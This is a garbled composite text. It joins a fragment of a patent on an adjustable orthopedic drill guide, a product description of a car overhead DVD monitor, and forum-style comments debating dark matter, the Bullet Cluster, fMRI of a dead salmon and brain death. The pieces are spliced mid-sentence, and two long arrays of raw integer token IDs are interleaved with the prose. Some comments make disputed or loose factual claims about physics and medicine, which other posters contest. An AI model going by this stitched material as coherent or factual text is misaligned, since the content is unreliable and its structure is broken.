of the attending surgeon. Examples of such drill guides available to surgeons are those produced by Biomet for their Biomodular(.TM.) Total Shoulder and Biangular (.TM.) Shoulder or by Richards Medical Company for their Cofield(.TM.) Total Shoulder System. It is an object of our invention, therefore, to provide a drill guide for use in orthopedic surgery which can adapt to patient anatomy and surgical technique. It is also an object of our invention to provide a drill guide which can be both adaptable and stable. Another object of our invention is to provide a surgical drill guide with a handle which can be swiveled to a desired position and locked in position.AUDIOBAHN 7 IN TFT MONITOR WITH DVD PLAYER Product Description Entertain the kids in the back seat without inflicting too much damage on your bank account. Audiobahn's AVM372DVD overhead 7' video screen with built-in DVD player combines all the components you need for a mobile video system in a convenient package without a blockbuster price tag. The system not only plays your DVD movies, it'll handle your CDs and MP3 files, too. It comes with two sets of wireless headphones and packs a built-in transmitter, so your passengers in back can listen to whatever they're watching in privacy while you enjoy your in-dash stereo up front. Or, if the whole car wants to join in on the fun, you can use the wireless FM transmitter to beam the audio signal to your stereo, which 'broadcasts' it over an unused FM frequency, right

[ 273, 731, 35541, 320, 3430, 15, 6101, 6452, 8392, 432, 271, 13583, 3762, 1364, 671, 320, 3430, 13, 3738, 352, 310, 5604, 1896, 281, 3812, 13583, 11815, 432, 3451, 3762, 15, 313, 510, 6158, 369, 5506, 323, 253, 26210, 875, 2540, 285, 8131, 23463, 9372, 432, 253, 5101, 2698, 187, 187, 9586, 604, 359, 3260, 534, 1566, 369, 253, 3451, 581, 13, 347, 369, 4879, 407, 1529, 20731, 13, 512, 253, 3210, 359, 452, 403, 18464, 15, 313, 4497, 13, 1580, 3210, 403, 8077, 6787, 273, 1524, 262, 187, 187, 3, 4045, 368, 871, 2139, 4214, 5712, 18473, 13840, 253, 941, 359, 452, 5728, 594, 973, 32, 12238, 368, 1014, 28860, 281, 1089, 562, 2139, 10950, 2868, 275, 841, 1841, 865, 187, 187, 4041, 1537, 973, 4282, 13, 984, 352, 434, 5604, 417, 984, 9942, 310, 17211, 1037, 13333, 342, 253, 1551, 273, 1384, 394, 5331, 5859, 15, 187, 187, 1909, 247, 2647, 273, 34057, 382, 24536, 13, 309, 1353, 4361, 598, 327, 253, 1495, 273, 21003, 285, 521, 7125, 342, 253, 1165, 46, 952, 387, 253, 2774, 13, 285, 253, 14338, 2181, 326, 27287, 562, 387, 479, 310, 849, 1199, 21003, 6566, 326, 9942, 369, 760, 247, 50010, 246, 187, 187, 1394, 943, 1239, 949, 380, 5721, 44166, 30223, 980, 13, 6845, 15, 337, 13, 835, 5721, 44166, 25264, 441, 326, 627, 310, 642, 824, 2181, 347, 247, 686, 5672, 8, 3762, 275, 5859, 15, 1876, 5859, 556, 2455, 2218, 310, 281, 6266, 3626, 16958, 347, 973, 347, 1896, 15, 831, 3548, 626, 247, 19652, 273, 5859, 13, 285, 352, 434, 417, 1014, 247, 2159, 4202, 15, 380, 1682, 11813, 359, 452, 403, 387, 1682, 34754, 13, 285, 667, 747, 3762, 359, 1833, 2455, 4417, 598, 588, 760, 320, 1805, 13, 625, 18144, 34754, 15, 9942, 285, 1165, 5518, 403, 347, 686, 5672, 8, 347, 359, 878, 731, 281, 320, 275, 253, 16400, 5020, 273, 1083, 187, 187, 34, 2159, 13, 3164, 3430, 8813, 27, 767, 9959, 273, 11123, 3007, 1356, 342, 1016, 643, 15, 2896, 18918, 253, 14839, 273, 253, 29395, 3486, 13, 359, 476, 923, 835, 512, 253, 28556, 5120, 313, 6320, 10, 2647, 2427, 428, 28556, 5120, 2647, 924, 10892, 715, 643, 28556, 5120, 2647, 11330, 28378, 6353, 751, 1269, 14, 20237, 13, 534, 359, 476, 923, 15, 1723, 13, 407, 17565, 253, 18924, 9655, 272, 4269, 407, 841, 767, 11123, 13, 359, 476, 3653, 835, 954, 273, 253, 2280, 2427, 428, 285, 352, 434, 1663, 2080, 745, 432, 253, 4055, 273, 253, 28556, 5120, 2647, 15, 8079, 13, 352, 4453, 751, 954, 273, 253, 2280, 273, 1016, 13649, 858, 417, 8008, 1516, 409, 1530, 17859, 342, 253, 2280, 273, 253, 643, 15, 187, 187, 510, 3762, 273, 3644, 2647, 11424, 436, 1663, 973, 15, 378, 552, 5120, 2647, 29290, 1516, 409, 1530, 17859, 342, 643, 28556, 5120, 2647, 13, 285, 594, 672, 253, 16950, 7368, 4352, 13, 697, 28556, 790, 28837, 1066, 313, 3022, 247, 16950, 12060, 949, 1824, 481, 1723, 13, 3644, 2647, 1057, 417, 8008, 1516, 409, 1530, 17859, 342, 28556, 5120, 2647, 13, 390, 1077, 1199, 387, 512, 342, 643, 3644, 2647, 13, 594, 253, 3644, 2647, 4295, 273, 1016, 13649, 816, 26702, 12841, 253, 3486, 285, 4934, 327, 1469, 15, 187, 187, 29285, 2647, 285, 3644, 2341, 6403, 626, 816, 11813, 326, 247, 12190, 273, 43837, 14306, 661, 7320, 562, 273, 616, 718, 265, 15, 187, 187, 54, 2188, 78, 13, 2686, 1051, 187, 187, 1231, 452, 8839, 642, 1480, 1941, 273, 2057, 15, 187, 187, 1231, 452, 7418, 5795, 11813, 326, 5513, 13, 1293, 501, 12655, 281, 3981, 253, 10325, 187, 5040, 1346, 273, 9161, 6, 20624, 362, 836, 3288, 13, 2710, 31101, 824, 347, 18924, 9381, 285, 253, 10466, 187, 266, 16174, 10144, 273, 253, 46228, 15, 187, 187, 19515, 275, 2564, 326, 1919, 1390, 2129, 13, 359, 574, 642, 1480, 1941, 273, 1633, 594, 5044, 281, 187, 26944, 12057, 347, 253, 39878, 83, 1566, 28, 1078, 326, 13, 359, 574, 346, 19198, 264, 3, 10917, 13597, 896, 281, 313, 255, 1878, 10, 187, 38, 14985, 40756, 15, 380, 2370, 1705, 285, 564, 13, 285, 1293, 41374, 13, 5661, 1941, 13, 359, 452, 387, 1682, 247, 187, 7645, 326, 13840, 253, 941, 428, 5803, 13, 347, 2080, 1512, 1142, 952, 1646, 281, 2868, 13, 247, 7933, 7899, 187, 10008, 273, 8103, 6612, 15, 187, 187, 42, 1089, 352, 8644, 326, 952, 665, 6468, 626, 1014, 28860, 281, 1263, 253, 941, 390, 253, 1921, 323, 24316, 751, 3644, 187, 30596, 1928, 253, 878, 281, 1056, 718, 24291, 5701, 670, 952, 665, 1849, 12832, 9940, 616, 4852, 281, 352, 15, 187, 187, 510, 15871, 753, 642, 824, 2181, 15, 754, 7960, 24045, 13, 285, 417, 1293, 690, 3720, 275, 958, 13, 326, 247, 3846, 6773, 187, 11159, 973, 1335, 452, 11454, 2425, 15, 16600, 275, 2564, 13, 323, 2067, 3038, 846, 2471, 14, 1171, 14, 783, 14, 40338, 313, 7955, 1946, 327, 187, 783, 2847, 13, 273, 2282, 582, 253, 8485, 5020, 273, 1341, 275, 253, 2133, 1335, 789, 816, 4030, 15, 187, 187, 4125, 13, 604, 344, 574, 753, 1633, 751, 346, 5430, 513, 359, 871, 33791, 2506, 626, 452, 11454, 48009, 995, 309, 651, 5194, 342, 634, 187, 3321, 28, 533, 359, 594, 15225, 2096, 346, 26975, 3, 326, 634, 41962, 1657, 13806, 7197, 327, 368, 685, 327, 634, 2303, 15, 187, 187, 36906, 346, 18711, 1941, 3446, 1707, 434, 642, 346, 18711, 1941, 3, 326, 253, 5448, 4961, 13, 533, 368, 2997, 352, 1057, 984, 368, 923, 352, 434, 2538, 15, 380, 36926, 32793, 1543, 2085, 6425, 1941, 323, 253, 6242, 273, 14182, 24704, 15, 309, 1599, 13, 368, 475, 14958, 11, 1007, 598, 253, 12895, 1543, 13, 1904, 626, 368, 32, 187, 187, 29129, 13, 253, 7466, 2281, 273, 253, 10325, 310, 38757, 15, 25792, 15, 4683, 436, 627, 310, 8839, 642, 5545, 13, 347, 359, 2686, 513, 452, 1480, 1941, 17227, 352, 15, 1737, 434, 8479, 352, 32, 187, 187, 25179, 13, 627, 310, 1480, 1941, 273, 690, 3644, 2647, 15, 41017, 247, 2257, 273, 3678, 285, 8660, 556, 644, 1119, 326, 3589, 626, 24802, 1078, 253, 346, 19001, 2647, 3, 9079, 2210, 562, 15, 3808, 8197, 309, 1849, 2326, 1691, 352, 347, 1029, 347, 1384, 6, 273, 253, 346, 33722, 3, 2280, 15, 14182, 2647, 310, 2647, 359, 6468, 626, 2540, 2568, 13, 285, 352, 37591, 313, 31330, 10, 452, 3607, 326, 1056, 352, 2834, 281, 10018, 15, 187, 187, 19515, 275, 2564, 326, 1919, 1390, 2129, 13, 359, 574, 642, 1480, 1941, 273, 1633, 594, 5044, 281, 4980, 12057, 347, 253, 39878, 83, 1566, 187, 187, 15953, 13, 533, 436, 3908, 3815, 5224, 326, 368, 1053, 626, 871, 752, 368, 403, 5015, 670, 15, 187, 187, 6407, 745, 13, 253, 39878, 83, 1566, 310, 3430, 13, 359, 2168, 3260, 326, 15, 1292, 604, 368, 1663, 1599, 253, 1566, 273, 6488, 24679, 13, 253, 2097, 25136, 11051, 16104, 22517, 13, 840, 352, 556, 644, 4080, 285, 5762, 285, 310, 3451, 281, 5111, 431, 14860, 14492, 5053, 13, 326, 368, 651, 452, 247, 1892, 673, 4560, 1529, 3762, 326, 369, 5762, 1014, 625, 685, 1165, 1703, 15, 187, 187, 2042, 368, 23103, 326, 760, 3965, 7968, 812, 1599, 346, 18711, 1941, 3, 840, 368, 871, 2717, 670, 4588, 33010, 187, 187, 1231, 452, 7418, 5795, 11813, 326, 5513, 13, 1293, 501, 12655, 281, 3981, 253, 10325, 8414, 273, 9161, 6, 20624, 362, 836, 3288, 13, 2710, 31101, 824, 347, 18924, 9381, 285, 253, 10466, 30393, 273, 253, 46228, 15, 187, 187, 2302, 15, 844, 1053, 626, 15, 2064, 434, 253, 2644, 1127, 15, 14182, 2647, 3589, 626, 23179, 323, 253, 7085, 273, 352, 15, 22042, 11168, 398, 36968, 352, 323, 8007, 15, 733, 369, 9142, 7607, 10534, 984, 352, 4821, 281, 1509, 21899, 5216, 285, 643, 11813, 1904, 626, 15, 187, 187, 1147, 434, 1896, 281, 4417, 598, 5795, 11813, 281, 5513, 2060, 16958, 824, 347, 39668, 9381, 9191, 313, 70, 15, 72, 904, 353, 28104, 481, 1292, 597, 512, 1891, 672, 368, 1611, 281, 10486, 5513, 2709, 16958, 824, 347, 39668, 9381, 9191, 285, 12280, 7941, 19729, 1658, 447, 285, 2393, 10325, 2605, 4702, 285, 13649, 7368, 8062, 285, 1051, 368, 755, 253, 2934, 15, 187, 187, 510, 3998, 476, 1335, 1159, 672, 686, 21590, 3846, 2464, 19296, 670, 352, 15, 5402, 2862, 3998, 2506, 626, 3150, 2378, 368, 1053, 626, 755, 2217, 7768, 323, 247, 1643, 2909, 13, 368, 816, 476, 626, 6558, 253, 8680, 6287, 1925, 14099, 15, 3771, 984, 273, 326, 13, 2506, 626, 1599, 253, 1341, 6403, 626, 1335, 15415, 15, 3932, 368, 1472, 22382, 13, 2167, 13, 368, 778, 347, 973, 320, 3846, 604, 368, 476, 1620, 9295, 432, 352, 15, 187, 187, 9323, 68, 35715, 310, 247, 2581, 13765, 6287, 275, 253, 3998, 15, 31279, 4723, 281, 629, 273, 326, 6287, 476, 5416, 326, 368, 1620, 11772, 598, 13, 5734, 247, 1854, 1475, 326, 4723, 310, 4447, 13, 534, 778, 390, 778, 417, 5108, 15, 844, 1849, 2326, 952, 11772, 598, 432, 389, 284, 846, 1107, 13, 984, 616, 3998, 556, 4447, 9130, 1475, 253, 4723, 15, 187, 187, 5872, 359, 755, 715, 253, 2644, 8881, 273, 686, 5371, 310, 2471, 5554, 11793, 3998, 2471, 651, 1599, 326, 253, 2862, 3998, 310, 3846, 13, 285, 476, 1620, 9295, 432, 352, 15, 11573, 21371, 273, 1341, 476, 11883, 323, 247, 2180, 273, 673, 13, 533, 597, 588, 1900, 3150, 275, 253, 990, 604, 597, 6403, 626, 2970, 253, 7768, 16, 14115, 16, 1222, 23680, 597, 878, 15, 1893, 13, 22382, 310, 3846, 32, 1621, 13, 352, 434, 816, 22382, 15, 844, 476, 12129, 875, 45753, 13, 4600, 13, 2471, 13, 3966, 15, 21638, 3697, 571, 5711, 943, 452, 644, 2783, 3846, 13, 1580, 559, 2270, 6, 273, 617, 3998, 369, 3846, 13, 533, 984, 703, 2692, 690, 5044, 3998, 852, 3470, 13, 952, 753, 703, 369, 9338, 15, 496, 6612, 13, 703, 369, 1679, 9338, 285, 1679, 2104, 281, 320, 43941, 685, 3095, 665, 11210, 626, 574, 247, 10724, 275, 3578, 2909, 2, 187, 187, 71, 22410, 310, 247, 29156, 7935, 2429, 281, 752, 17452, 1029, 6064, 33736, 14478, 588, 921, 441, 275, 253, 2852, 15, 187, 187, 10605, 14478, 310, 24251, 281, 253, 19025, 9153, 83, 2625, 313, 395, 10575, 273, 352, 481, 1284, 10973, 4302, 16424, 285, 48347, 454, 78, 528, 27935, 403, 6786, 13, 352, 588, 320, 1896, 281, 4044, 2120, 33736, 941, 313, 20465, 5333, 10, 275, 1635, 281, 40798, 941, 15, 3105, 760, 323, 253, 19025, 533, 323, 643, 14539, 11192, 326, 4711, 271, 19790, 2625, 313, 1171, 534, 512, 253, 5642, 1139, 3299, 3603, 452, 387, 1878, 581, 481, 1284, 12649, 10293, 23598, 3885, 187, 187, 6407, 314, 13, 7418, 18403, 13204, 6551, 21559, 285, 2905, 4910, 273, 11369, 715, 616, 20162, 7811, 13, 594, 352, 3133, 3965, 5165, 326, 436, 3589, 626, 247, 12190, 273, 9699, 4369, 346, 1466, 8, 187, 84, 1973, 247, 4216, 16, 7645, 1476, 26246, 15, 5220, 13, 697, 3965, 1846, 323, 46008, 281, 2186, 7759, 275, 247, 346, 10984, 3, 5859, 347, 973, 13, 594, 634, 8492, 310, 3164, 26415, 275, 24492, 15, 187, 10951, 314, 13, 352, 3133, 281, 479, 751, 326, 616, 1127, 3589, 626, 326, 253, 43918, 3589, 626, 7996, 2217, 13, 390, 1798, 2217, 15, 7820, 253, 1895, 3133, 281, 320, 247, 187, 187, 510, 1755, 14478, 908, 327, 7497, 310, 13, 309, 2868, 13, 898, 15, 19, 308, 428, 816, 1175, 2217, 281, 923, 2060, 8512, 285, 1056, 562, 253, 40041, 14954, 15, 380, 1755, 14478, 908, 327, 5074, 310, 8003, 281, 1249, 308, 15, 9225, 1356, 824, 1029, 5212, 4910, 403, 2011, 281, 320, 4999, 13, 368, 812, 9580, 247, 2257, 273, 4217, 1491, 327, 253, 15415, 273, 253, 3998, 15, 187, 187, 1989, 309, 923, 642, 1039, 273, 16778, 5415, 941, 387, 1029, 6064, 15, 4325, 5553, 50085, 949, 281, 6318, 17823, 13, 627, 434, 1900, 247, 5454, 14, 2727, 875, 6064, 275, 2317, 285, 6064, 275, 673, 15, 380, 701, 85, 187, 187, 5804, 359, 7525, 432, 436, 941, 326, 253, 24791, 310, 15966, 275, 253, 187, 5726, 4911, 14, 29114, 4836, 32, 30445, 417, 15, 1737, 359, 476, 3653, 310, 326, 3632, 187, 24946, 275, 253, 444, 8022, 2069, 12395, 778, 4917, 46541, 1543, 604, 2709, 14023, 187 ]

of them MUST be wrong. Any conclusion drawn from an incorrect theory must also be wrong, although it is certainly possible to draw incorrect conclusions from correct theory. (The latter was responsible for the discrepancy between observed and predicted neutrino counts from the sun.) Even if we knew which model was the correct one, as was noted by another poster, all the models we have are incomplete. (Well, since models are simplifications of realit "Do you know why General Relativity fits the data we have collected so well? Have you even bothered to find out why scientists believe in these things?" One might well wonder, because it's certainly not because GR is philosophically compatible with the rest of 20th century science. As a matter of hobbyist curiosity, I'm reading up on the life of Einstein and his arguments with the QM people at the moment, and the curious thing that jumps out at me is how much Einstein believed that GR was only a provisional t You should read through The Feynman Lectures, Vol. 1, where Feynman reminds us that there is no such thing as a 'true' theory in science. All science has ever done is to describe natural phenomena as well as possible. This isn't a flaw of science, and it's not even a shortcoming. The best theories we have are at best approximations, and any new theory we'll ever cook up will only be better, more sophisticated approximations. GR and QFT are as 'true' as we need them to be in the overwhelming majority of case A short, probably wrong explanation: two clusters of galaxies collided with each other. By analyzing the emissions of the resultant impact, we can see where all the baryonic (normal) matter went - baryonic matter smacking into other baryonic matter produces energetic particles like x-rays, which we can see. However, by examining the gravitational lensing caused by these two galaxies, we can determine where most of the mass went - and it's really far off from the center of the baryonic matter. Indeed, it looks like most of the mass of each galaxy did not interact electromagnetically with the mass of the other. The theory of dark matter explains this really well. Baryonic matter interacts electromagnetically with other baryonic matter, and so when the bullet cluster hit, its baryons slowed down (like a bullet flying through water). However, dark matter does not interact electromagnetically with baryonic matter, or very much at all with other dark matter, so the dark matter components of each galaxy just kinda ignored the impact and kept on going. Dark matter and dark energy aren't just theories that a bunch of arrogant pricks pulled out of their asses. Ummm, actually... We have absolutely no direct evidence of either. We have numerous alternative theories that explain, without resorting to saying the universe consists of 96% invisible voodoo, various anomalies such as gravitational rotation and the implied anisotropy of the CMB. Keep in mind that until last week, we had no direct evidence of something so basic to modern physics as the Bohr model; before that, we had "hooked" atoms dating back to (at least) Epicurus. Theories come and go, and without reproducible, experimental evidence, we have at best a model that fits the data - NOT, as far too many people seem to believe, a necessarily accurate description of objective reality. I find it amazing that people who haven't even bothered to study the data or the reason for hypotheses like dark matter feel the need to make ass backwards comments about people who've literally dedicated their lives to it. The GP said no such thing. He merely hypothesized, and not without some basis in fact, that a dead fish may well still have neural activity. Keep in mind, for several hours after death-of-the-whole (depending on the cause, of course), the vast majority of cells in the body still work just fine. Now, if he had said something like "how do we know gravel doesn't have neural impulses", I would agree with your position; but we so poorly understand "death" that your ridicule reflects worse on you than on your target. Define "direct evidence". There's no "direct evidence" that the wind exists, but you accept it does because you see it's effects. The Bullet Cluster results provide equivalent evidence for the existence of Dark Matter. I mean, you *did* look up the BC results, didn't you? Similarly, the expansion rate of the universe is accelerating. Period. Of this there is absolutely no doubt, as we actually do have direct evidence demonstrating it. What's causing it? Actually, there is direct evidence of some dark matter. Quite a lot of gas and dust has been found that wasn't observable before the "dark matter" hypothesis came out. Some estimates I've seen put it as high as 20% of the "missing" mass. Dark matter is matter we haven't observed yet, and it MAY (probably) have properties that make it difficult to observe. Keep in mind that until last week, we had no direct evidence of something so basic to modern physics as the Bohr model Sorry, but this statement alone indicate that you don't know what you are talking about. First off, the Bohr model is wrong, we already knew that. But if you really mean the model of electron orbits, the means Quantum Electrodynamics, then it has been measured and tested and is correct to umpteenth decimal places, that you would have a hard time finding another theory that was tested even more than QED. If you insist that only pretty pictures could mean "direct evidence" then you know nothing about actual sci We have numerous alternative theories that explain, without resorting to saying the universe consists of 96% invisible voodoo, various anomalies such as gravitational rotation and the implied anisotropy of the CMB. No. We don't. That's the whole point. Dark matter wasn't invented for the hell of it. Astronomers resisted it for decades. It was ultimately accepted precisely because it continued to pass observational tests and other theories didn't. It's possible to cook up alternative theories to explain individual phenomena such as galactic rotation curves (e.g., MOND). But they all fail when you try to simultaneously explain multiple phenomena such as galactic rotation curves and CMBR anisotropies and early universe structure formation and galaxy cluster dynamics and... you get the idea. The brain can still function when 'brain dead.' Think about it. Your entire brain doesn't die once you don't get enough oxygen for a few minutes, you just can't maintain the feedback loop called consciousness. Just because of that, doesn't mean the cells aren't still functioning. Since you're unconscious, though, you may as well be dead if you can never recover from it. Consciousness is a rather circular loop in the brain. Minor damage to part of that loop can ensure that you never wake up, unless a path around that damage is formed, which may or may not happen. We've seen people wake up from comas after years, because their brain has formed pathways around the damage. Then we get into the whole debate of 'what is death?' True brain death would mean that the entire brain is dead, and can never recover from it. Little pockets of cells can survive for a period of time, but they will always die in the end if they aren't getting the oxygen/energy/minerals they need. So, unconscious is dead? No, it's just unconscious. We can distinguish between coma, sleep, death, etc. Terry Schiavo should have been considered dead, since +90% of her brain was dead, but because she showed some basic brainstem functions, people said she was alive. In reality, she was less alive and less able to be revived than someone who hasn't had a pulse in ten minutes! fMRI is a blunt instrument compared to what ultra high resolution spectroscopic MRI will show us in the future. Current MRI is tuned to the proton nmr signal (and variations of it). As magnet technology advances and ginourmous gradients are achieved, it will be possible to obtain full spectroscopic data (chemical shift) in addition to positional data. Not only for the proton but for other isotopes that produce an NMR signal (of which all the CHONPS elements have at least one). As aquisition electronics speed Firstly, numerous universities bundle neuroscience and related fields of engineering into their psychology department, so it seems pretty apparent that this wasn't a bunch of cognitive psych "Let' s build a graph/model!" junk. Also, its pretty common for psychologists to hold degrees in a "hard" science as well, so your bias is probably rooted in ignorance. Secondly, it seems to me like that their point wasn't that the fMRI wasn't sensitive enough, or particular enough. Instead the problem seems to be a The top MRI used on humans is, I believe, 9.2 T - just good enough to see individual neurons and make out the synapses firing. The top MRI used on animals is closer to 12 T. Provided such high magnetic fields are shown to be safe, you could gather a lot of useful information on the functioning of the brain. But I see no way of gathering continuous data at high resolution. From radio astronomy through to quantum mechanics, there's always a trade-off between resolution in space and resolution in time. The bett Can we conclude from this data that the salmon is engaging in the perspective-taking task? Certainly not. What we can determine is that random noise in the EPI timeseries may yield spurious results if multiple comparisons

[ 755, 896, 281, 5979, 18086, 3707, 323, 247, 4564, 273, 5753, 10470, 247, 270, 543, 15, 309, 1790, 327, 619, 34489, 342, 253, 767, 30450, 273, 21162, 275, 619, 3564, 15, 1737, 253, 7435, 717, 309, 6326, 281, 513, 342, 247, 12190, 273, 22777, 90, 15589, 437, 1771, 32, 309, 359, 1123, 731, 875, 619, 3564, 751, 309, 1353, 4882, 326, 2165, 326, 6838, 1132, 672, 597, 1472, 5753, 15, 13529, 15, 187, 187, 8, 54, 2034, 405, 4117, 309, 1333, 285, 1691, 731, 275, 247, 19176, 1735, 281, 619, 3722, 15, 309, 2242, 619, 1481, 327, 253, 30055, 285, 8467, 69, 422, 47444, 715, 22382, 1255, 15, 187, 187, 64, 42, 1353, 275, 247, 4735, 1417, 2846, 13, 14370, 13, 43976, 4182, 285, 7863, 15, 380, 6406, 861, 598, 6386, 273, 479, 2296, 686, 40, 676, 19982, 1383, 534, 310, 43364, 1823, 2327, 323, 247, 7156, 3333, 187, 187, 64, 8, 8262, 4117, 247, 4318, 2296, 15, 686, 21096, 896, 13, 277, 1911, 900, 2464, 64, 187, 187, 64, 42, 1614, 281, 923, 253, 5599, 342, 253, 7863, 6706, 287, 285, 521, 1387, 273, 13882, 249, 20111, 14, 14091, 4861, 7156, 12504, 375, 3212, 479, 3333, 187, 187, 64, 8, 1394, 969, 32, 7670, 13, 309, 452, 253, 23457, 383, 13702, 2464, 64, 187, 187, 64, 8, 2302, 13, 637, 4117, 344, 2296, 15, 686, 3650, 7670, 15, 31635, 531, 13, 634, 34020, 3408, 2464, 64, 187, 187, 64, 4041, 273, 521, 3858, 13, 342, 6746, 763, 2502, 11233, 285, 35932, 4707, 41902, 1029, 275, 247, 320, 11430, 422, 13, 4541, 46697, 617, 2454, 275, 271, 41450, 1133, 11472, 285, 42121, 84, 689, 281, 479, 15, 686, 19258, 479, 598, 13, 1912, 626, 368, 13, 14795, 5554, 703, 3812, 5200, 15, 1500, 6556, 562, 247, 21259, 285, 5053, 617, 1048, 19555, 37619, 1523, 875, 617, 11233, 3333, 187, 187, 64, 42, 25790, 285, 1708, 253, 19555, 15, 1500, 7362, 32358, 479, 762, 253, 22239, 342, 247, 23806, 15, 686, 34, 249, 626, 368, 816, 253, 2624, 383, 2181, 5554, 64, 187, 187, 64, 8, 15021, 9043, 32578, 253, 49143, 784, 16531, 4117, 31635, 531, 2296, 3333, 187, 187, 64, 8, 4013, 439, 2345, 2464, 1500, 49910, 247, 1133, 387, 779, 3333, 187, 187, 64, 8, 10826, 4117, 31635, 531, 2296, 7808, 15, 686, 42, 476, 2028, 326, 368, 1472, 417, 1663, 48635, 752, 434, 1469, 327, 2464, 754, 26847, 521, 9081, 15, 686, 42, 1353, 634, 34020, 3924, 2464, 754, 2792, 281, 253, 3416, 342, 253, 19555, 15, 686, 1552, 310, 634, 7946, 3408, 2464, 64, 187, 187, 64, 8, 7845, 13, 14795, 4117, 703, 2296, 15, 686, 7865, 479, 12576, 2275, 814, 2464, 64, 187, 187, 64, 8, 2773, 434, 634, 815, 38347, 3924, 4117, 31635, 531, 7788, 13, 23313, 4351, 521, 1481, 281, 5224, 247, 5599, 275, 247, 6858, 14, 11863, 27287, 2338, 9398, 247, 10864, 3168, 659, 1507, 251, 15, 754, 556, 247, 17844, 275, 521, 6208, 285, 247, 7863, 6212, 708, 411, 405, 251, 3585, 14930, 5965, 296, 2122, 387, 521, 13290, 3333, 187, 187, 64, 8, 8262, 13, 3101, 71, 18141, 4117, 344, 3812, 5200, 3333, 187, 187, 64, 8, 4013, 439, 2345, 4117, 12576, 2275, 814, 2296, 969, 13, 1499, 5436, 521, 9215, 15, 686, 1147, 434, 521, 2629, 30435, 757, 16391, 15, 754, 2506, 626, 1599, 2712, 407, 352, 15, 1422, 476, 1067, 779, 7727, 2464, 64, 187, 187, 64, 8, 1552, 689, 1060, 29678, 31635, 531, 44645, 387, 247, 3684, 2448, 14, 13565, 5599, 342, 247, 5961, 949, 521, 11480, 665, 7362, 32358, 387, 521, 30037, 14, 11707, 27287, 2338, 751, 352, 2506, 626, 4944, 13, 686, 261, 634, 1115, 3924, 13, 15569, 2339, 2464, 15569, 2339, 16540, 247, 1133, 275, 39359, 15, 686, 1898, 1390, 533, 417, 1878, 310, 634, 22667, 3924, 15, 3954, 835, 253, 7085, 858, 37228, 755, 281, 5554, 64, 187, 187, 64, 2512, 434, 247, 340, 5436, 6046, 285, 247, 1652, 448, 6356, 86, 1240, 5738, 342, 247, 9711, 13882, 249, 20111, 14, 14091, 4861, 6026, 13898, 6727, 1641, 562, 432, 3212, 12576, 2275, 814, 285, 7866, 31505, 272, 619, 1791, 3333, 187, 187, 64, 8, 2773, 434, 1270, 4117, 309, 1333, 15, 686, 45, 729, 600, 281, 2525, 368, 512, 15, 1292, 2139, 403, 368, 1060, 5554, 64, 187, 187, 64, 8, 4497, 13, 2366, 359, 403, 13219, 20703, 9753, 4117, 31635, 531, 2296, 15, 686, 510, 5044, 12475, 634, 5135, 301, 989, 4446, 4566, 949, 327, 697, 11012, 14, 13848, 46671, 4404, 29791, 13, 347, 4081, 407, 322, 15379, 1504, 30435, 15, 844, 671, 46826, 347, 634, 32884, 1962, 434, 806, 285, 760, 794, 76, 3961, 2464, 64, 187, 187, 64, 42, 48445, 387, 779, 15, 686, 2598, 752, 368, 1472, 3981, 310, 326, 368, 1472, 512, 4243, 273, 479, 2464, 64, 187, 187, 64, 8, 4374, 11388, 31635, 531, 2296, 13, 751, 309, 1353, 4720, 4685, 247, 3782, 2570, 14168, 84, 1895, 15, 686, 4497, 13, 3707, 634, 1115, 3924, 15, 5402, 3626, 1115, 3924, 1904, 626, 1287, 15, 15569, 2339, 689, 627, 310, 247, 22458, 547, 3545, 8962, 757, 439, 14990, 665, 26187, 787, 328, 3466, 715, 634, 32884, 1962, 1223, 1029, 327, 26275, 20957, 4843, 66, 13, 594, 359, 18195, 779, 285, 1160, 779, 1347, 253, 3470, 273, 634, 1115, 3924, 2464, 754, 48569, 521, 9881, 15, 686, 3351, 856, 4534, 318, 15, 2064, 434, 752, 309, 751, 670, 1146, 629, 273, 634, 32884, 1962, 2464, 64, 187, 187, 64, 42, 2186, 598, 619, 1133, 15, 686, 2598, 13, 816, 594, 359, 1472, 2590, 13, 368, 7932, 247, 3924, 273, 619, 4812, 2440, 342, 247, 3545, 8962, 757, 439, 14990, 32, 4683, 512, 253, 1841, 309, 1849, 3735, 275, 619, 1495, 13, 326, 434, 6830, 253, 954, 12835, 277, 1003, 264, 2464, 64, 187, 187, 64, 36, 357, 2339, 4245, 479, 247, 8513, 1007, 15, 686, 8262, 13, 368, 13353, 4456, 512, 253, 23293, 21487, 14, 4919, 23678, 368, 574, 672, 368, 497, 9243, 5554, 64, 187, 187, 64, 3220, 2454, 4566, 2502, 816, 4680, 670, 352, 15, 2752, 3101, 753, 352, 369, 984, 309, 369, 247, 1077, 20138, 1429, 15, 686, 6506, 4117, 309, 278, 19493, 3333, 187, 187, 64, 8, 4497, 13, 1110, 6331, 13, 1904, 626, 597, 5554, 64, 187, 187, 64, 8, 46587, 2464, 64, 187, 187, 64, 1328, 48569, 521, 9881, 15, 686, 4497, 13, 326, 434, 672, 359, 17875, 15569, 2339, 2464, 64, 187, 187, 64, 8, 1552, 310, 512, 1663, 20996, 13, 275, 271, 16088, 13, 8314, 40685, 35598, 598, 3686, 273, 1039, 4117, 309, 1333, 15, 686, 1989, 2139, 403, 368, 1060, 13, 275, 619, 13702, 5554, 64, 187, 187, 64, 8, 1231, 1472, 1060, 281, 9798, 368, 281, 20909, 13678, 13, 14795, 4117, 12576, 2275, 814, 2296, 15, 686, 6080, 952, 755, 1931, 358, 5074, 13, 690, 755, 18465, 29921, 29828, 13, 690, 755, 4204, 358, 790, 15, 1422, 755, 634, 5135, 301, 989, 12475, 347, 247, 11195, 447, 794, 76, 3961, 15, 17814, 310, 1027, 13, 816, 4456, 326, 2464, 64, 187, 187, 64, 8, 1147, 434, 247, 2257, 281, 1379, 275, 4117, 31635, 531, 11323, 15, 686, 1231, 755, 326, 15, 1292, 359, 1472, 1060, 281, 1361, 368, 2464, 64, 187, 187, 64, 8, 6506, 13, 352, 434, 247, 2257, 281, 1379, 275, 4117, 309, 1333, 23649, 20595, 3333, 187, 187, 64, 23833, 47582, 2439, 281, 479, 13, 35408, 521, 659, 1507, 251, 285, 4453, 479, 275, 253, 5130, 15, 686, 2598, 849, 670, 368, 15856, 634, 23828, 5250, 285, 359, 9798, 368, 1633, 5554, 344, 3812, 5200, 15, 37228, 253, 448, 6356, 86, 1240, 5738, 340, 1825, 521, 9612, 3333, 187, 187, 64, 8, 10826, 13, 4030, 4117, 309, 1333, 342, 247, 25790, 15, 686, 1276, 403, 368, 1469, 281, 9798, 479, 5554, 64, 187, 187, 64, 8, 1466, 434, 1265, 342, 22710, 